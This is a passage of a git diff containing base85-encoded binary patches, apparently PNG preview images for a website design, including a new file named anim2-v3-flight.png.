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

0%6+x{CrEgnhi-1;Yoat!vVVh5OM*Sl3*Qe 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 A)Bpeg literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v3-flight.png b/website-design/previews/anim2-v3-flight.png new file mode 100644 index 0000000000000000000000000000000000000000..4911393f0fed3ef6ef84ddfb5231064a2e00fa0b GIT binary patch literal 29983 zcmeEuby!qg)GxjU7{H4XBBdf7BOL>bg0zHm4k94U&>aSf(v6bR4H83#f|AlPFqCu- zIYSS8hf?0}KKHNt?>+iF%$zxApS9Osd-d;pRFs#*zjo&u4h{~!wA2$N9GpvJI5__# z;Qa%fsX&#^s2jro#BcEjtnCX$pRXQ}OYY07~#)UnXpXQ@X zP`CX3v5f_{Sr;eQ^mz3u(??eKA=b4L=_kU(D6%$pFg)1Hq+lr#=E-X{tYyS zU0zyRdirgQt7HGAWnx!7iK?oQ4S!Sf-$U4rr??UCGC&Ou&X;-(;^PlET#DkyA6^Nt z68MPmMNh0b3sDC(POdrc8wqdRKmP3-C24Zjqi4k8$Ny1Zy8TY>wHu%$@X2B(z|wzZ z^i4YXAEoX}bo}e{YcWun+t8oDNGAhsx4NGFL@*=%<@63SrTJ3=m}0B(P!0KQeHmQm z$=04ipHblos$*pK7rb~(-tnMATZzK&S>&isC=-8%E;I{q6+QS5t!H0)W3@c6ZpG{V zdprtL=Z@v9t@}b8@pKG-57tg33GU) zI|?L1;eY2FTh$i}y>vX`PxUW}$$aZypGpWLk|>qz!tpONowMS%YgLW4Cqn-+pMhbk z>1?tBpUBQ`%Mkc;mvy_}*`gAkm&WikSJAzC8)>*~{CNoyww)J$!X)RS?0+QICv3BH 